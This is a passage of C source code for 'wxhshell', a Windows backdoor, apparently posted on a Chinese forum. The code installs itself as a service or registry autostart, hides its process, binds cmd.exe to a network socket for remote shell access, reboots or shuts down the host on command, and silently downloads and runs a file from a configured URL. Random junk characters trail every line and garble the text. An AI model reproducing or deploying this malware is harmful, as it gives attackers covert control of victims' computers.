    switch(cmd[0]) { ^s\T<;  
  4{ [d '-H5  
  // 帮助 5c$\DZ(  
  case '?': { `_SV1|=="8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z8`Y}#Za[  
    break; uM,R+)3  
  } ]G Blads  
  // 安装 W<:x4gBa  
  case 'i': { <"yL(s^u"  
    if(Install()) .'b| pd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JnLF61   
    else EMzJyGt7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uC%mGZ a  
    break; ?5;N=\GQ  
    } RZ|M;c  
  // 卸载 C!U$<_I\2  
  case 'r': { > D%  
    if(Uninstall()) ! ~tf0aY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N@X(YlO  
    else hdwF;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z"-oD*ICw  
    break; PYTwyqS  
    } j/;wxKW  
  // 显示 wxhshell 所在路径 ]f>0P3O5&  
  case 'p': { pKU(4&BxX  
    char svExeFile[MAX_PATH]; 0i>p1/kv  
    strcpy(svExeFile,"\n\r"); ~ R eX$9  
      strcat(svExeFile,ExeFile); >[l2KD  
        send(wsh,svExeFile,strlen(svExeFile),0); 1A[(RT]  
    break; VfwH:  
    } 6!SW]#sD  
  // 重启 $\q.Zb  
  case 'b': { f)mOeD*u|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0Oa&vx  
    if(Boot(REBOOT)) -us:!p1T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [5]n,toAh  
    else { /=g/{&3[a>  
    closesocket(wsh); Yl =-j  
    ExitThread(0); >[;L.  
    } 8erG](  
    break; r7FJqd  
    } TfHL'u9B  
  // 关机 4s@Tn>%SP  
  case 'd': { 'Fql;&U >  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q%524%f$  
    if(Boot(SHUTDOWN)) q]U!n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }X. Fm'`  
    else { @^/aS;B$>  
    closesocket(wsh); ^7yaM B!  
    ExitThread(0); 8tVSai8[  
    } 2@IL  n+#  
    break; 7$x%A&]  
    } 1OV] W f  
  // 获取shell [SD mdr1T$  
  case 's': { hM[3l1o{|  
    CmdShell(wsh); q]Kv.x]$R  
    closesocket(wsh); bGkLa/?S  
    ExitThread(0); 56 Z  
    break; E#,\[<pc  
  } U8-OQ:2.  
  // 退出 _%Yi ^^  
  case 'x': { Uq~b4X$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UD.ZnE{"  
    CloseIt(wsh); xGFbh4H=8p  
    break; O3mw5<%15  
    } T8&eaAoo  
  // 离开 97~>gFU77#  
  case 'q': { TZGk[u^*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s6r(\L_Im  
    closesocket(wsh); Mdh]qKw  
    WSACleanup(); o1"N{ Eu  
    exit(1); d]:G#<.  
    break; +TX4,"  
        } pjl>ZoOM  
  } "n)AlAV@  
  } =:!>0~  
__zHe-.m  
  // 提示信息 9C=*>I27?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ><S(n#EB  
} 8_ o~0lb  
  } |5ge4,}0  
qHtIjtt[q  
  return; J Vxja<43  
} q"oNFHYPDs  
"R=~-, ~  
// shell模块句柄 |,~ )/o_R  
int CmdShell(SOCKET sock) z' Z[mrLq  
{ a>rDJw:  
STARTUPINFO si; &W c$VDC  
ZeroMemory(&si,sizeof(si)); !|j|rYi-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E m^Dg9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \q3ui}-9  
PROCESS_INFORMATION ProcessInfo; *A4eYHn@  
char cmdline[]="cmd"; [S8*b^t4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MT:VQ>f C  
  return 0;  UO#`Ak  
} T\(k=0R M  
,I ][  
// 自身启动模式 >]&Ow9-  
int StartFromService(void) u~2]$ /U  
{ :Ocw+X3  
typedef struct Lis>Qr  
{ 13w(Tf  
  DWORD ExitStatus; # 5U1F[  
  DWORD PebBaseAddress; M] +.xo+A  
  DWORD AffinityMask; 0 x' d^  
  DWORD BasePriority; d0C _:_  
  ULONG UniqueProcessId; U]w"T{;@.)  
  ULONG InheritedFromUniqueProcessId; Y/"t!   
}   PROCESS_BASIC_INFORMATION; c8Ud<M .  
Zd%wX<hU"  
PROCNTQSIP NtQueryInformationProcess; XogCq?_m  
v;U5[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rGXUV`5Na  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k3nvML,bv  
f8aY6o"i  
  HANDLE             hProcess; f$n5$hJlQ  
  PROCESS_BASIC_INFORMATION pbi; A0U9,M  
2ZEGE+0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); erbk (  
  if(NULL == hInst ) return 0; rf%VSxD9  
p\F%Nj,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p!=O>b_f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7S&$M-k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6>)nkD32g  
Bf]Bi~w<  
  if (!NtQueryInformationProcess) return 0; "P54|XIJ\  
>KvK'Mus/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^Y+Lf]zz*  
  if(!hProcess) return 0; GN9kCyPK  
a@ <-L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; deVnAu =  
g>;@(:e^/  
  CloseHandle(hProcess); ;^0rY)&  
4#7*B yvf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QIlZZ  
if(hProcess==NULL) return 0; %=Z/Frd  
j*Pq<[~  
HMODULE hMod; MpGG}J[y  
char procName[255]; j7Ts&;`[*  
unsigned long cbNeeded; Ox&G  [  
D>@NYqMF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5oSp/M  
:$,MAQ'9  
  CloseHandle(hProcess); o|xZ?#^h  
dFDf/tH  
if(strstr(procName,"services")) return 1; // 以服务启动 i}P{{kMJ  
;RX u}pd  
  return 0; // 注册表启动 Cl9nmyf   
} ..+#~3es#y  
' h<(  
// 主模块 fByf~iv,  
int StartWxhshell(LPSTR lpCmdLine) EY<"B2_%  
{ m 8b,_1  
  SOCKET wsl; !khEep}  
BOOL val=TRUE; 1' v!~*af  
  int port=0; qy)~OBY  
  struct sockaddr_in door;  Owi/e  
ujS oWs  
  if(wscfg.ws_autoins) Install(); n=C"pH#  
m,!SD Cq  
port=atoi(lpCmdLine);  fFqYRK  
@sA!o[gH  
if(port<=0) port=wscfg.ws_port; ?6&8-zt1?  
F]UH\1  
  WSADATA data; :S_]!'H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &JqaIJh   
O>1Cx4s5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J-,ocO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3^~J;U!3  
  door.sin_family = AF_INET; \#t)B J2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c>{QTI:]  
  door.sin_port = htons(port); M3O !jN~  
2M'dT Xz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $*iovam>^]  
closesocket(wsl); ]VLseF  
return 1; 3oMHy5  
} ZIc.MNq  
_UP fqC ?  
  if(listen(wsl,2) == INVALID_SOCKET) { o!K DeY  
closesocket(wsl); dCTyfXou[=  
return 1; OQB7C0+ &  
} G%t>Ll``C  
  Wxhshell(wsl); PC<_1!M]  
  WSACleanup(); @r/~Y]0Ye5  
qJrKt=CE  
return 0; $=N?[h&4  
/B~[,ES@1  
} J:glJ'4E  
,r;xH}tbi  
// 以NT服务方式启动 6{HCF-cQd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u"*DI=pwb  
{ Wu/#}Bw#  
DWORD   status = 0; #IM.7`I   
  DWORD   specificError = 0xfffffff; ,:A;4  
S* O. ?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `>)Ge](oN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R=LiB+p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 35e{{Gn)v  
  serviceStatus.dwWin32ExitCode     = 0; vBl:&99[/  
  serviceStatus.dwServiceSpecificExitCode = 0; pF8 #H~  
  serviceStatus.dwCheckPoint       = 0; \"nut7";2  
  serviceStatus.dwWaitHint       = 0; o?hr>b  
II}M|qHaK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iP"sw0V8  
  if (hServiceStatusHandle==0) return; +|,4g_(j  
XgHJ Oqt  
status = GetLastError(); -"dt3$ju  
  if (status!=NO_ERROR) 3yKmuu!  
{ rFQWgWD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n@p@ @  
    serviceStatus.dwCheckPoint       = 0; ={zTQ+7S`  
    serviceStatus.dwWaitHint       = 0; 3EICdC  
    serviceStatus.dwWin32ExitCode     = status; ^.!jD+=I  
    serviceStatus.dwServiceSpecificExitCode = specificError; hyf ;f7`o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]>VG}e~b  
    return; >- \bLr  
  } ")STB8kQ  
jTcv&`fAz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7<] EH:9  
  serviceStatus.dwCheckPoint       = 0; p|ink):  
  serviceStatus.dwWaitHint       = 0; c:Nm!+5_(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8$ u"92  
} h7UNmwj  
~EPVu  
// 处理NT服务事件,比如:启动、停止 x~!|F5JbM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) % ERcFI]G  
{ ;: 2U}p^-  
switch(fdwControl) kY~4AH  
{ aY>v  
case SERVICE_CONTROL_STOP: R; c9)>8L  
  serviceStatus.dwWin32ExitCode = 0; kygw}|, N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g=56|G7n  
  serviceStatus.dwCheckPoint   = 0; i#`q<+/q  
  serviceStatus.dwWaitHint     = 0; \H@1VgmR;  
  { c_D(%Vf5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _b~{/[s  
  } aLGq<6Ja  
  return; *kl  :/#  
case SERVICE_CONTROL_PAUSE: $}gM JG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k_=yb^6[U  
  break; Ptv'.<-  
case SERVICE_CONTROL_CONTINUE: T+F]hv'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0\ = du  
  break; Tn#Co$<  
case SERVICE_CONTROL_INTERROGATE: rQVX^  
  break; {}$7Bp  
}; EyE#x_A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z_\p8@3aH  
} MVsFi]-  
akzGJ3g  
// 标准应用程序主函数 4\Y5RfLB_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0+*NHiH  
{ nTEN&8Y>R  
Gs,:$Im  
// 获取操作系统版本 -V|"T+U  
OsIsNt=GetOsVer(); %'=*utOxy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zXn-E  
PC#^L$cg}  
  // 从命令行安装 #_wq#rF  
  if(strpbrk(lpCmdLine,"iI")) Install(); $s/E } X  
P9 <U+\z  
  // 下载执行文件 &3[oM)-V  
if(wscfg.ws_downexe) { ^es]jng`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W-=6:y#A  
  WinExec(wscfg.ws_filenam,SW_HIDE); tNi>TkC}`  
} `x9Eo4(/  
J, 9NVw$  
if(!OsIsNt) { ##7y|AwK  
// 如果时win9x,隐藏进程并且设置为注册表启动 9Rnypzds  
HideProc(); }aVZ\PDg  
StartWxhshell(lpCmdLine); 3 !@  
} "d_wu#fO)  
else YNEwX$)M,B  
  if(StartFromService()) JNfL jfE)<  
  // 以服务方式启动 ) CP  
  StartServiceCtrlDispatcher(DispatchTable); (j&:  
else \!-BR0+y;  
  // 普通方式启动 "+F'WCJ-(*  
  StartWxhshell(lpCmdLine); y>P+"Z.K%}  
$oK&k}Q  
return 0; *|fF;-#v  
}
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只看该作者 1 发表于: 2006-10-10
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